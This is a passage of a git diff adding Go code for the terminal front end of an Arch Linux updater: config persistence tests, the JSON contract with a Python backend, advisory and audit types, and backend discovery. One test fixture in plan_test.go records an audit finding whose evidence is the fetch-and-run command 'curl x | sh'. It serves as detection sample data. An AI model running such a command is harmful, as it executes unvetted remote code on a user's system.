+ return v
+ }
+ return fallback
+}
+
+// AccentSlot is the configured accent, as an ANSI slot number.
+func (c *Config) AccentSlot() string { return c.slot("color_accent", "10") }
+
+// MutedSlot is the configured muted colour.
+func (c *Config) MutedSlot() string { return c.slot("color_muted", "8") }
+
+// CursorIcon is the marker drawn next to the selected row.
+func (c *Config) CursorIcon() string {
+ if v, ok := c.raw["cursor_icon"].(string); ok && v != "" {
+ return v
+ }
+ return "▸"
+}
+
+// HideHints suppresses the keybinding footer.
+func (c *Config) HideHints() bool {
+ v, _ := c.raw["hide_hints"].(bool)
+ return v
+}
+
+// ExpandThreshold is how many children a section may have before it starts
+// collapsed.
+func (c *Config) ExpandThreshold() int {
+ if v, ok := c.raw["expand_threshold"].(float64); ok && v > 0 {
+ return int(v)
+ }
+ return 8
+}
diff --git a/tui/internal/config/config_test.go b/tui/internal/config/config_test.go
@@ -0,0 +1,212 @@
+package config
+
+import (
+ "encoding/json"
+ "os"
+ "path/filepath"
+ "testing"
+)
+
+func tempConfig(t *testing.T) (*Config, string) {
+ t.Helper()
+ dir := t.TempDir()
+ os.Setenv("XDG_CONFIG_HOME", dir)
+ t.Cleanup(func() { os.Unsetenv("XDG_CONFIG_HOME") })
+ c := Load()
+ // use the path the package actually resolves rather than guessing the layout
+ return c, c.PathOf()
+}
+
+func TestIgnoredRoundTrips(t *testing.T) {
+ c, path := tempConfig(t)
+ if c.IsIgnored("linux") {
+ t.Fatal("nothing should be ignored initially")
+ }
+ if !c.Toggle("linux") {
+ t.Error("Toggle should report the new state as ignored")
+ }
+ if !c.Toggle("mesa") {
+ t.Error("Toggle should add a second package")
+ }
+ if c.Toggle("linux") {
+ t.Error("toggling twice should unignore")
+ }
+ if !c.Toggle("linux") {
+ t.Error("and back again")
+ }
+ if err := c.Save(); err != nil {
+ t.Fatalf("save: %v", err)
+ }
+ if _, err := os.Stat(path); err != nil {
+ t.Fatalf("config not written to the resolved path %s: %v", path, err)
+ }
+ if filepath.Base(filepath.Dir(path)) != "updater" {
+ t.Errorf("config should live under an app-named directory, got %s", path)
+ }
+
+ again := Load()
+ if !again.IsIgnored("linux") || !again.IsIgnored("mesa") {
+ t.Errorf("ignore list did not survive a round trip: %v", again.Ignored)
+ }
+ if again.Ignored[0] != "linux" {
+ t.Errorf("ignore list should stay sorted: %v", again.Ignored)
+ }
+}
+
+func TestUnknownKeysArePreserved(t *testing.T) {
+ // the Python side owns the schema; saving here must not delete its fields
+ dir := t.TempDir()
+ os.Setenv("XDG_CONFIG_HOME", dir)
+ defer os.Unsetenv("XDG_CONFIG_HOME")
+ path := filepath.Join(dir, "updater", "config.json")
+ if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil {
+ t.Fatal(err)
+ }
+ os.WriteFile(path, []byte(`{"color_accent":"13","something_python_added":{"a":1}}`), 0o644)
+
+ c := Load()
+ if c.AccentSlot() != "13" {
+ t.Errorf("AccentSlot = %q, want 13", c.AccentSlot())
+ }
+ c.Toggle("vim")
+ if err := c.Save(); err != nil {
+ t.Fatalf("save: %v", err)
+ }
+
+ body, _ := os.ReadFile(path)
+ var raw map[string]any
+ if err := json.Unmarshal(body, &raw); err != nil {
+ t.Fatalf("config is no longer valid json: %v", err)
+ }
+ if raw["color_accent"] != "13" {
+ t.Errorf("color_accent was clobbered: %v", raw["color_accent"])
+ }
+ if _, ok := raw["something_python_added"]; !ok {
+ t.Error("an unrecognised key was dropped on save")
+ }
+}
+
+func TestCorruptConfigFallsBackToDefaults(t *testing.T) {
+ dir := t.TempDir()
+ os.Setenv("XDG_CONFIG_HOME", dir)
+ defer os.Unsetenv("XDG_CONFIG_HOME")
+ path := filepath.Join(dir, "updater", "config.json")
+ os.MkdirAll(filepath.Dir(path), 0o755)
+ os.WriteFile(path, []byte("{ not json"), 0o644)
+
+ c := Load()
+ if len(c.Ignored) != 0 {
+ t.Errorf("expected an empty ignore list, got %v", c.Ignored)
+ }
+ if c.AccentSlot() != "10" {
+ t.Errorf("expected the default accent, got %q", c.AccentSlot())
+ }
+}
+
+func TestDefaultsAreSane(t *testing.T) {
+ c, _ := tempConfig(t)
+ if c.CursorIcon() == "" {
+ t.Error("cursor icon should never be empty")
+ }
+ if c.ExpandThreshold() < 1 {
+ t.Errorf("expand threshold = %d", c.ExpandThreshold())
+ }
+ if c.HideHints() {
+ t.Error("hints should be on by default")
+ }
+}
+
+func TestSaveIsAtomic(t *testing.T) {
+ c, path := tempConfig(t)
+ c.Toggle("x")
+ if err := c.Save(); err != nil {
+ t.Fatal(err)
+ }
+ if _, err := os.Stat(path + ".tmp"); !os.IsNotExist(err) {
+ t.Error("a temp file was left behind")
+ }
+}
+
+func TestDirtyTracksChanges(t *testing.T) {
+ c, _ := tempConfig(t)
+ if c.Dirty() {
+ t.Error("a freshly loaded config is not dirty")
+ }
+ c.Toggle("a")
+ if !c.Dirty() {
+ t.Error("toggling should mark it dirty")
+ }
+ c.Save()
+ if c.Dirty() {
+ t.Error("saving should clear the dirty flag")
+ }
+}
+
+func TestAcknowledgementsRoundTrip(t *testing.T) {
+ c, path := tempConfig(t)
+ if len(c.AckedList()) != 0 {
+ t.Fatal("nothing should be acknowledged initially")
+ }
+ c.Ack("AVG-1")
+ c.Ack("AVG-2")
+ c.Ack("AVG-1") // idempotent
+ if err := c.Save(); err != nil {
+ t.Fatalf("save: %v", err)
+ }
+ again := Load()
+ got := again.AckedList()
+ if len(got) != 2 || got[0] != "AVG-1" || got[1] != "AVG-2" {
+ t.Errorf("acks did not survive: %v", got)
+ }
+ if _, err := os.Stat(path); err != nil {
+ t.Fatalf("config not written: %v", err)
+ }
+}
+
+func TestClearingAcknowledgementsReportsTheCount(t *testing.T) {
+ c, _ := tempConfig(t)
+ c.Ack("AVG-1")
+ c.Ack("AVG-2")
+ if n := c.ClearAcks(); n != 2 {
+ t.Errorf("ClearAcks returned %d, want 2", n)
+ }
+ if len(c.AckedList()) != 0 {
+ t.Error("acks were not cleared")
+ }
+ if err := c.Save(); err != nil {
+ t.Fatal(err)
+ }
+ if len(Load().AckedList()) != 0 {
+ t.Error("cleared acks came back after a reload")
+ }
+}
+
+func TestAcksAndIgnoresCoexistWithoutClobbering(t *testing.T) {
+ // both live in the same file and are written by different code paths
+ c, _ := tempConfig(t)
+ c.Toggle("linux")
+ c.Ack("AVG-1")
+ c.Ack("AVG-2")
+ if err := c.Save(); err != nil {
+ t.Fatal(err)
+ }
+ again := Load()
+ if !again.IsIgnored("linux") {
+ t.Error("the ignore list was lost when acks were written")
+ }
+ if len(again.AckedList()) != 2 {
+ t.Errorf("acks lost when the ignore list was written: %v", again.AckedList())
+ }
+}
+
+func TestAGarbageAckListIsIgnored(t *testing.T) {
+ c, _ := tempConfig(t)
+ c.raw["acked"] = "not a list"
+ if got := c.AckedList(); got != nil {
+ t.Errorf("expected nil, got %v", got)
+ }
+ c.Ack("AVG-1")
+ if got := c.AckedList(); len(got) != 1 {
+ t.Errorf("recovering from a bad value failed: %v", got)
+ }
+}
diff --git a/tui/internal/plan/detail.go b/tui/internal/plan/detail.go
@@ -0,0 +1,198 @@
+package plan
+
+import (
+ "context"
+ "encoding/json"
+ "fmt"
+)
+
+// Advisory is one security advisory from arch-audit.
+type Advisory struct {
+ ID string `json:"id"`
+ Severity string `json:"severity"`
+ Status string `json:"status"`
+ Kind string `json:"kind"`
+ Fixed string `json:"fixed"`
+ URL string `json:"url"`
+ Packages []string `json:"packages"`
+ Issues []string `json:"issues"`
+}
+
+// HasFix reports whether an update would resolve the advisory.
+func (a Advisory) HasFix() bool { return a.Fixed != "" }
+
+// DiffLine is one row of a diff. Kind is ctx, add, del or gap.
+type DiffLine struct {
+ Kind string `json:"kind"`
+ Old *int `json:"old"`
+ New *int `json:"new"`
+ Text string `json:"text"`
+}
+
+// Diff is a structured diff plus its counts.
+type Diff struct {
+ Lines []DiffLine `json:"lines"`
+ Added int `json:"added"`
+ Removed int `json:"removed"`
+ Truncated bool `json:"truncated"`
+}
+
+// Finding is one audit result.
+type Finding struct {
+ Rule string `json:"rule"`
+ Severity string `json:"severity"`
+ Title string `json:"title"`
+ Evidence string `json:"evidence"`
+ Where string `json:"where"`
+}
+
+// Glyph mirrors the severity marker the rest of the tool uses.
+func (f Finding) Glyph() string {
+ switch f.Severity {
+ case "BLOCK":
+ return "!!"
+ case "LOOK":
+ return "!"
+ default:
+ return "·"
+ }
+}
+
+// Role maps a severity onto a palette role name.
+func (f Finding) Role() string {
+ switch f.Severity {
+ case "BLOCK":
+ return "alert"
+ case "LOOK":
+ return "warn"
+ default:
+ return "muted"
+ }
+}
+
+// Meta is what the AUR knows about a package.
+type Meta struct {
+ Maintainer string `json:"maintainer"`
+ Orphaned bool `json:"orphaned"`
+ OutOfDate *int64 `json:"out_of_date"`
+ Votes int `json:"votes"`
+ Popularity float64 `json:"popularity"`
+ FirstSubmitted int64 `json:"first_submitted"`
+ LastModified int64 `json:"last_modified"`
+ URL string `json:"url"`
+ PackageBase string `json:"package_base"`
+ Depends []string `json:"depends"`
+ MakeDepends []string `json:"make_depends"`
+}
+
+// Detail is the lazy drill-down payload for one package.
+type Detail struct {
+ Package string `json:"package"`
+ Kind string `json:"kind"`
+ Installed string `json:"installed"`
+ Available string `json:"available"`
+ BaselineCommit string `json:"baseline_commit"`
+ BaselineHow string `json:"baseline_how"`
+ BaselineNote string `json:"baseline_note"`
+ CurrentCommit string `json:"current_commit"`
+ CurrentCommitSummary string `json:"current_commit_summary"`
+ CurrentCommitWhen string `json:"current_commit_when"`
+ Diff Diff `json:"diff"`
+ Findings []Finding `json:"findings"`
+ Verdict string `json:"verdict"`
+ Meta Meta `json:"meta"`
+ Advisories []Advisory `json:"advisories"`
+ Pkgbuild []string `json:"pkgbuild"`
+ Ignored bool `json:"ignored"`
+ //: the available version is older than the installed one
+ Downgrade bool `json:"downgrade"`
+}
+
+// BaselineLabel says what the diff was compared against, in the user's terms.
+func (d *Detail) BaselineLabel() string {
+ switch d.BaselineHow {
+ case "recorded":
+ return "vs last built (" + short(d.BaselineCommit) + ")"
+ case "version":
+ return fmt.Sprintf("vs revision matching installed %s (%s)",
+ d.Installed, short(d.BaselineCommit))
+ default:
+ return "no baseline"
+ }
+}
+
+func short(sha string) string {
+ if len(sha) > 8 {
+ return sha[:8]
+ }
+ return sha
+}
+
+// LoadDetail fetches the drill-down for one package.
+func (b Backend) LoadDetail(ctx context.Context, pkg string) (*Detail, error) {
+ args := append([]string{"show", pkg, "--json"}, b.Args...)
+ out, err := b.Run(ctx, args...)
+ if err != nil {
+ return nil, err
+ }
+ var d Detail
+ if err := json.Unmarshal(out, &d); err != nil {
+ return nil, fmt.Errorf("could not parse detail for %s: %w", pkg, err)
+ }
+ return &d, nil
+}
+
+// AdvisoryDetail is the security tracker's own record for one advisory.
+type AdvisoryDetail struct {
+ ID string `json:"id"`
+ Available bool `json:"available"`
+ Reason string `json:"reason"`
+ Packages []string `json:"packages"`
+ Status string `json:"status"`
+ Severity string `json:"severity"`
+ Kind string `json:"kind"`
+ Affected string `json:"affected"`
+ Fixed string `json:"fixed"`
+ Ticket string `json:"ticket"`
+ Issues []string `json:"issues"`
+ Advisories []string `json:"advisories"`
+ References []string `json:"references"`
+ Notes string `json:"notes"`
+ URL string `json:"url"`
+}
+
+// SecurityReport is a fresh arch-audit run.
+type SecurityReport struct {
+ Available bool `json:"available"`
+ Reason string `json:"reason"`
+ Total int `json:"total"`
+ Fixable int `json:"fixable"`
+ Unfixable int `json:"unfixable"`
+ Advisories []Advisory `json:"advisories"`
+}
+
+// LoadAdvisory fetches one advisory from the tracker.
+func (b Backend) LoadAdvisory(ctx context.Context, id string) (*AdvisoryDetail, error) {
+ out, err := b.Run(ctx, "advisory", id, "--json")
+ if err != nil {
+ return nil, err
+ }
+ var detail AdvisoryDetail
+ if err := json.Unmarshal(out, &detail); err != nil {
+ return nil, fmt.Errorf("could not parse the advisory for %s: %w", id, err)
+ }
+ return &detail, nil
+}
+
+// RunSecurity runs arch-audit again, now.
+func (b Backend) RunSecurity(ctx context.Context) (*SecurityReport, error) {
+ out, err := b.Run(ctx, "security", "--json")
+ if err != nil {
+ return nil, err
+ }
+ var report SecurityReport
+ if err := json.Unmarshal(out, &report); err != nil {
+ return nil, fmt.Errorf("could not parse the security run: %w", err)
+ }
+ return &report, nil
+}
diff --git a/tui/internal/plan/discover.go b/tui/internal/plan/discover.go
@@ -0,0 +1,109 @@
+package plan
+
+import (
+ "os"
+ "path/filepath"
+ "runtime"
+)
+
+// marker identifies the Python side when walking the tree.
+var marker = filepath.Join("updater", "cli.py")
+
+// Discover fills in PYTHONPATH by finding the Python package, so `go run .`
+// works from a checkout with no configuration.
+//
+// Order: an explicit path wins, then $UPDATER_HOME, then an upward search from
+// the working directory, the executable, and this source file. The last one is
+// what makes `go run` work: runtime.Caller records the path the module was
+// compiled from, which is the checkout even though the binary itself is in a
+// temporary directory.
+func (b Backend) Discover(explicit string) Backend {
+ if explicit != "" {
+ return b.withPath(explicit)
+ }
+ for _, dir := range searchRoots() {
+ if _, err := os.Stat(filepath.Join(dir, marker)); err == nil {
+ return b.withPath(dir)
+ }
+ }
+ return b // fall back to whatever the interpreter already has installed
+}
+
+func (b Backend) withPath(dir string) Backend {
+ abs, err := filepath.Abs(dir)
+ if err != nil {
+ abs = dir
+ }
+ out := b
+ out.Env = append(append([]string{}, b.Env...), "PYTHONPATH="+abs)
+ return out
+}
+
+func searchRoots() []string {
+ var roots []string
+ add := func(dir string) {
+ for _, r := range ancestors(dir) {
+ roots = append(roots, r)
+ }
+ }
+
+ if v := os.Getenv("UPDATER_HOME"); v != "" {
+ roots = append(roots, v)
+ }
+ if wd, err := os.Getwd(); err == nil {
+ add(wd)
+ }
+ if exe, err := os.Executable(); err == nil {
+ add(filepath.Dir(exe))
+ }
+ if _, file, _, ok := runtime.Caller(0); ok {
+ add(filepath.Dir(file))
+ }
+
+ seen := map[string]bool{}
+ out := roots[:0]
+ for _, r := range roots {
+ if !seen[r] {
+ seen[r] = true
+ out = append(out, r)
+ }
+ }
+ return out
+}
+
+// ancestors yields dir and then each parent, stopping after a few levels.
+func ancestors(dir string) []string {
+ var out []string
+ cur, err := filepath.Abs(dir)
+ if err != nil {
+ return nil
+ }
+ for i := 0; i < 5; i++ {
+ out = append(out, cur)
+ parent := filepath.Dir(cur)
+ if parent == cur {
+ break
+ }
+ cur = parent
+ }
+ return out
+}
+
+// Hint is a human-readable explanation of how to fix a missing backend.
+func (b Backend) Hint() string {
+ dir := ""
+ if len(b.Env) > 0 {
+ for _, e := range b.Env {
+ if len(e) > len("PYTHONPATH=") && e[:len("PYTHONPATH=")] == "PYTHONPATH=" {
+ dir = e[len("PYTHONPATH="):]
+ }
+ }
+ }
+ if dir == "" {
+ return "the Python package `updater` was not found.\n" +
+ "Run from inside the checkout, or set UPDATER_HOME=/path/to/updater,\n" +
+ "or pass --repo /path/to/updater."
+ }
+ return "looked for " + filepath.Join(dir, marker) + "\n" +
+ "pass --repo /path/to/updater, or set UPDATER_HOME."
+}
diff --git a/tui/internal/plan/plan.go b/tui/internal/plan/plan.go
@@ -0,0 +1,281 @@
+// Package plan is the Go side of the contract with the Python backend.
+//
+// Go deliberately does not read the pacman databases itself. The Python side
+// already does that through libalpm and is verified against `pacman -Q*` on six
+// dimensions; a second implementation here would eventually disagree with it,
+// and two tools reporting different orphan lists is worse than one slow one.
+//
+// So this package's whole job is to read JSON.
+package plan
+
+import (
+ "bytes"
+ "context"
+ "encoding/json"
+ "fmt"
+ "os"
+ "os/exec"
+ "strings"
+)
+
+// Upgrade is a repository package moving between versions.
+type Upgrade struct {
+ Name string `json:"name"`
+ Old string `json:"old"`
+ New string `json:"new"`
+ Repo string `json:"repo"`
+ Download int64 `json:"download"`
+ Delta int64 `json:"delta"`
+ Ignored bool `json:"ignored"`
+}
+
+// AurUpdate is an AUR package, carrying the tag the audit gave it.
+//
+// U upgrade D the AUR version is older than what is installed
+// ! needs a look !! blocked, will not be applied automatically
+type AurUpdate struct {
+ Name string `json:"name"`
+ Old string `json:"old"`
+ New string `json:"new"`
+ Tag string `json:"tag"`
+ Note string `json:"note"`
+ Details []string `json:"details"`
+ Ignored bool `json:"ignored"`
+ //: Whether the package could be examined at all. A pointer so that a backend
+ //: which predates the field is treated as having audited, rather than
+ //: painting every package as unchecked.
+ Audited *bool `json:"audited"`
+}
+
+// WasAudited reports whether the package was examined. An absent field means an
+// older backend, which always audited.
+func (a AurUpdate) WasAudited() bool { return a.Audited == nil || *a.Audited }
+
+// Vcs is a version-controlled package. Reported, never rebuilt automatically.
+// Vcs is a devel package paru would actually rebuild. The AUR's recorded
+// pkgver for a -git package lags whatever paru generated when it last built, so
+// the version transition here comes from paru's own devel database rather than
+// from a comparison this side could make.
+type Vcs struct {
+ Name string `json:"name"`
+ Old string `json:"old"`
+ New string `json:"new"`
+}
+
+// Step is one command the plan will run, with its full breakdown.
+//
+// Authored by the backend rather than derived here: the front end cannot know
+// what makepkg will do inside a PKGBUILD, and two renderers each working the
+// commands out from the same facts is how they drift apart.
+type Step struct {
+ Index string `json:"index"`
+ Command string `json:"command"`
+ Detail string `json:"detail"`
+ Details []string `json:"details"`
+ //: the ordered commands the step will actually run
+ Queue []Stage `json:"queue"`
+}
+
+// Stage is one command in a step's queue.
+//
+// Assembled by the backend from facts rather than guessed: the PKGBUILD is
+// parsed, the alpm hooks are read from disk with their declared triggers, and
+// the snapshots are just another hook. `pacman -Syu` is a summary; this is the
+// sequence underneath it.
+type Stage struct {
+ Command string `json:"command"`
+ What string `json:"what"`
+ Target string `json:"target"`
+ Level string `json:"level"` // step | note | hook | warn | danger
+ Phase string `json:"phase"`
+ Finding string `json:"finding"` // the audit rule that flagged it
+}
+
+// IsWarning reports whether a stage deserves to stand out.
+func (s Stage) IsWarning() bool {
+ return s.Level == "warn" || s.Level == "danger"
+}
+
+// Warning is one kind of warning, with its own page.
+type Warning struct {
+ Title string `json:"title"`
+ Headline string `json:"headline"`
+ Details []string `json:"details"`
+ Flagged int `json:"flagged"`
+ //: the packages this warning concerns, so it can be scoped to a selection
+ Packages []string `json:"packages"`
+}
+
+// Check is one line of the pre-flight report.
+type Check struct {
+ OK bool `json:"ok"`
+ Label string `json:"label"`
+ Detail string `json:"detail"`
+ //: a fuller explanation, shown when the row is opened. A check with none is
+ //: a single fact and has nothing to open.
+ Details []string `json:"details"`
+ //: the command that resolves this check, if there is one. Asked about
+ //: before it runs, and shown verbatim when it is.
+ Action []string `json:"action"`
+ //: said out loud before an action runs
+ Warning string `json:"warning"`
+}
+
+// Flatpak is a pending flatpak update.
+type Flatpak struct {
+ Application string `json:"application"`
+ Version string `json:"version"`
+ Origin string `json:"origin"`
+}
+
+// StaleProcess is a process still running a binary that was replaced on disk.
+type StaleProcess struct {
+ PID int `json:"pid"`
+ Name string `json:"name"`
+ Path string `json:"path"`
+}
+
+// Hygiene is the list of things that rot quietly.
+type Hygiene struct {
+ CacheReclaimable int64 `json:"cache_reclaimable"`
+ Pacnew []string `json:"pacnew"`
+ Orphans []string `json:"orphans"`
+ Reboot string `json:"reboot"`
+ Stale []StaleProcess `json:"stale_processes"`
+}
+
+// Vulnerabilities comes from arch-audit.
+type Vulnerabilities struct {
+ Fixable []string `json:"fixable"`
+ Unfixable []string `json:"unfixable"`
+}
+
+// Plan is the whole document.
+type Plan struct {
+ Advisories []Advisory `json:"advisories"`
+ //: how many advisories have been acknowledged and are therefore absent from
+ //: the list above
+ AckedCount int `json:"acked_count"`
+ Steps []Step `json:"steps"`
+ Warnings []Warning `json:"warnings"`
+ Ignored []string `json:"ignored"`
+ ConfigPath string `json:"config_path"`
+ DevelNote string `json:"devel_note"`
+ Repo []Upgrade `json:"repo"`
+ Aur []AurUpdate `json:"aur"`
+ Vcs []Vcs `json:"vcs"`
+ Checks []Check `json:"checks"`
+ Flatpak []Flatpak `json:"flatpak"`
+ Vulnerabilities Vulnerabilities `json:"vulnerabilities"`
+ Hygiene Hygiene `json:"hygiene"`
+ Audits map[string][]Finding `json:"audits"`
+}
+
+// Counts summarises the plan for the header.
+func (p *Plan) Counts() (repo, aur, blocked int) {
+ for _, a := range p.Aur {
+ if a.Tag == "!!" {
+ blocked++
+ }
+ }
+ return len(p.Repo), len(p.Aur), blocked
+}
+
+// Backend knows how to reach the Python side.
+type Backend struct {
+ Python string // interpreter, default "python3"
+ Module string // module to run, default "updater"
+ Env []string // extra environment, e.g. PYTHONPATH for an uninstalled tree
+ Args []string // extra arguments passed through to every invocation
+}
+
+// DefaultBackend resolves sensible defaults from the environment.
+func DefaultBackend() Backend {
+ b := Backend{Python: "python3", Module: "updater"}
+ if v := os.Getenv("UPDATER_PYTHON"); v != "" {
+ b.Python = v
+ }
+ if v := os.Getenv("UPDATER_HOME"); v != "" {
+ b.Env = append(b.Env, "PYTHONPATH="+v)
+ }
+ return b
+}
+
+// Error carries the backend's stderr so a failure is explained, not just reported.
+type Error struct {
+ Args []string
+ Stderr string
+ Err error
+}
+
+func (e *Error) Error() string {
+ msg := strings.TrimSpace(e.Stderr)
+ if msg == "" {
+ msg = e.Err.Error()
+ }
+ return fmt.Sprintf("%s %s: %s", e.Args[0], strings.Join(e.Args[1:], " "), msg)
+}
+
+// Run executes the backend and returns stdout.
+//
+// stdout must be pure JSON: the backend is required to send anything human to
+// stderr. That rule is not cosmetic -- a stray line on stdout is a parse failure,
+// and flatpak already taught this codebase what "exits 0 but printed an error"
+// does to a check row.
+func (b Backend) Run(ctx context.Context, args ...string) ([]byte, error) {
+ full := append([]string{"-m", b.Module}, args...)
+ cmd := exec.CommandContext(ctx, b.Python, full...)
+ cmd.Env = append(os.Environ(), b.Env...)
+
+ var stdout, stderr bytes.Buffer
+ cmd.Stdout = &stdout
+ cmd.Stderr = &stderr
+ if err := cmd.Run(); err != nil {
+ return nil, &Error{Args: append([]string{b.Python}, full...),
+ Stderr: stderr.String(), Err: err}
+ }
+ return stdout.Bytes(), nil
+}
+
+// checksDoc is the shape `updater checks --json` returns.
+type checksDoc struct {
+ Checks []Check `json:"checks"`
+ //: labels this refresh recomputed. Rows outside it are ones it cannot see,
+ //: and must survive: the backend recomputes machine-local state, not
+ //: whether a reboot is pending or the archive is reachable.
+ Covers []string `json:"covers"`
+}
+
+// LoadChecks re-runs only the machine-local checks.
+//
+// What an action can change is this machine's state, not the archive, so a
+// refresh after running one asks for these alone. Re-planning would re-poll the
+// AUR and scan the security tracker to learn nothing new.
+func (b Backend) LoadChecks(ctx context.Context) ([]Check, []string, error) {
+ out, err := b.Run(ctx, "checks", "--json")
+ if err != nil {
+ return nil, nil, err
+ }
+ var doc checksDoc
+ if err := json.Unmarshal(out, &doc); err != nil {
+ return nil, nil, fmt.Errorf("could not parse the checks: %w", err)
+ }
+ return doc.Checks, doc.Covers, nil
+}
+
+// Load fetches and parses the plan.
+func (b Backend) Load(ctx context.Context) (*Plan, error) {
+ args := append([]string{"plan", "--json"}, b.Args...)
+ out, err := b.Run(ctx, args...)
+ if err != nil {
+ return nil, err
+ }
+ var p Plan
+ dec := json.NewDecoder(bytes.NewReader(out))
+ // tolerate fields the Go side does not know about yet, so the two halves can
+ // be updated independently
+ if err := dec.Decode(&p); err != nil {
+ return nil, fmt.Errorf("could not parse backend JSON: %w", err)
+ }
+ return &p, nil
+}
diff --git a/tui/internal/plan/plan_test.go b/tui/internal/plan/plan_test.go
@@ -0,0 +1,131 @@
+package plan
+
+import (
+ "context"
+ "encoding/json"
+ "os"
+ "path/filepath"
+ "strings"
+ "testing"
+)
+
+const golden = `{
+ "repo": [{"name":"linux","old":"6.16.7-1","new":"6.16.8-1","repo":"core",
+ "download":1468006,"delta":-1048576}],
+ "aur": [{"name":"enca-bin","old":"1.19-4","new":"1.19-5","tag":"!!",
+ "note":"will be skipped","details":["pipes a download into a shell"]}],
+ "vcs": [{"name":"helix-git","delta":"r9021"}],
+ "checks": [{"ok":false,"label":"databases","detail":"2d old · refreshed"}],
+ "flatpak": [],
+ "vulnerabilities": {"fixable":["vim"],"unfixable":[]},
+ "hygiene": {"cache_reclaimable":993710975,"pacnew":["/etc/x.pacnew"],
+ "orphans":[],"reboot":"","stale_processes":[{"pid":1,"name":"x","path":"/usr/bin/x"}]},
+ "audits": {"enca-bin":[{"rule":"pipe-to-shell","severity":"BLOCK",
+ "title":"pipes a download into a shell","evidence":"curl x | sh"}]}
+}`
+
+func decode(t *testing.T) *Plan {
+ t.Helper()
+ var p Plan
+ if err := json.NewDecoder(strings.NewReader(golden)).Decode(&p); err != nil {
+ t.Fatalf("decode: %v", err)
+ }
+ return &p
+}
+
+func TestDecodeReadsTheBackendContract(t *testing.T) {
+ p := decode(t)
+ if len(p.Repo) != 1 || p.Repo[0].Name != "linux" {
+ t.Fatalf("repo not decoded: %+v", p.Repo)
+ }
+ if p.Repo[0].Delta != -1048576 {
+ t.Errorf("delta = %d, want -1048576", p.Repo[0].Delta)
+ }
+ if p.Aur[0].Tag != "!!" {
+ t.Errorf("tag = %q", p.Aur[0].Tag)
+ }
+ if got := p.Audits["enca-bin"][0].Severity; got != "BLOCK" {
+ t.Errorf("severity = %q", got)
+ }
+ if p.Hygiene.CacheReclaimable != 993710975 {
+ t.Errorf("cache = %d", p.Hygiene.CacheReclaimable)
+ }
+ if len(p.Hygiene.Stale) != 1 || p.Hygiene.Stale[0].PID != 1 {
+ t.Errorf("stale not decoded: %+v", p.Hygiene.Stale)
+ }
+}
+
+func TestUnknownFieldsAreTolerated(t *testing.T) {
+ // the two halves must be updatable independently, so a field this side has
+ // never heard of cannot be a parse failure
+ var p Plan
+ in := `{"repo":[],"something_new":{"nested":[1,2]},"aur":[]}`
+ if err := json.NewDecoder(strings.NewReader(in)).Decode(&p); err != nil {
+ t.Fatalf("a newer backend broke the older front end: %v", err)
+ }
+}
+
+func TestCountsReportBlockedPackages(t *testing.T) {
+ repo, aur, blocked := decode(t).Counts()
+ if repo != 1 || aur != 1 || blocked != 1 {
+ t.Errorf("Counts = %d,%d,%d want 1,1,1", repo, aur, blocked)
+ }
+}
+
+func TestFindingGlyphMatchesThePythonRenderer(t *testing.T) {
+ // the two front ends must use the same marker for the same severity
+ cases := map[string]string{"BLOCK": "!!", "LOOK": "!", "INFO": "·", "": "·"}
+ for severity, want := range cases {
+ if got := (Finding{Severity: severity}).Glyph(); got != want {
+ t.Errorf("Glyph(%q) = %q, want %q", severity, got, want)
+ }
+ }
+}
+
+func TestBackendErrorCarriesStderr(t *testing.T) {
+ err := &Error{Args: []string{"python3", "-m", "updater"},
+ Stderr: "boom: no such module\n", Err: os.ErrNotExist}
+ msg := err.Error()
+ if !strings.Contains(msg, "boom: no such module") {
+ t.Errorf("stderr was dropped: %q", msg)
+ }
+ if !strings.Contains(msg, "python3") {
+ t.Errorf("the command was dropped: %q", msg)
+ }
+}
+
+func TestBackendErrorFallsBackToTheUnderlyingError(t *testing.T) {
+ err := &Error{Args: []string{"python3"}, Err: os.ErrPermission}
+ if !strings.Contains(err.Error(), "permission") {
+ t.Errorf("fallback message missing: %q", err.Error())
+ }
+}
+
+// TestLoadAgainstTheRealBackend is the integration test: it runs the actual
+// Python entry point and parses its actual output. Skipped when the tree is not
+// reachable, so the suite still runs on a machine without it.
+func TestLoadAgainstTheRealBackend(t *testing.T) {
+ root, err := filepath.Abs("../..")
+ if err != nil {
+ t.Skip("cannot resolve the repo root")
+ }
+ if _, err := os.Stat(filepath.Join(root, "..", "updater", "cli.py")); err != nil {
+ t.Skip("python backend not present next to the Go module")
+ }
+
+ b := Backend{Python: "python3", Module: "updater",
+ Env: []string{"PYTHONPATH=" + filepath.Dir(root)},
+ Args: []string{"--offline", "--no-security"}}
+
+ doc, err := b.Load(context.Background())
+ if err != nil {
+ t.Skipf("backend unavailable here: %v", err)
+ }
+ if doc == nil {
+ t.Fatal("nil plan with no error")
+ }
+ // stdout must have been pure JSON, which Load would have failed on otherwise
+ if doc.Checks == nil {
+ t.Log("note: no checks reported")
+ }
+}
diff --git a/tui/internal/plan/signal_unix.go b/tui/internal/plan/signal_unix.go
@@ -0,0 +1,18 @@
+//go:build !windows
+
+package plan
+
+import (
+ "os"
+ "syscall"
+)
+
+// interruptSignal is SIGINT: pacman and makepkg install handlers that unwind a
+// half-finished transaction on it. SIGKILL would leave the package database in
+// exactly the state the tool exists to avoid.
+func interruptSignal() os.Signal { return syscall.SIGINT }
+
+// skipSignal asks the backend to abandon the package in progress and go on to
+// the next. SIGUSR1, not SIGINT: SIGINT means stop the run, and the two must
+// not be the same thing when one of them is recoverable.
+func skipSignal() os.Signal { return syscall.SIGUSR1 }
diff --git a/tui/internal/plan/stream.go b/tui/internal/plan/stream.go
@@ -0,0 +1,214 @@
+package plan
+
+import (
+ "bufio"
+ "context"
+ "encoding/json"
+ "fmt"
+ "io"
+ "os"
+ "os/exec"
+ "sync"
+)
+
+// BuildState is one package currently being worked on.
+type BuildState struct {
+ Name string `json:"name"`
+ Phase string `json:"phase"`
+ Elapsed float64 `json:"elapsed"`
+ Jobs int `json:"jobs"`
+ //: what the jobs are, e.g. "rustc ×4, cc1". A count says something is
+ //: happening; this says what, which is what tells a compiling build from
+ //: a wedged one.
+ Workers string `json:"workers"`
+}
+
+// Event is one line of the backend's protocol.
+//
+// One struct rather than a type per event: the fields present depend on Event,
+// and a struct keeps the reader trivial. Unknown fields are ignored, so the
+// backend can add to the protocol without breaking an older front end.
+type Event struct {
+ Event string `json:"event"`
+
+ // start / phase_start
+ Phase string `json:"phase"`
+ Command string `json:"command"`
+ Log string `json:"log"`
+ Phases []string `json:"phases"`
+ Total int `json:"total"`
+ //: the run's total in work rather than in packages, plus the per-package
+ //: weights, listed only for those worth more than one. A build runs for
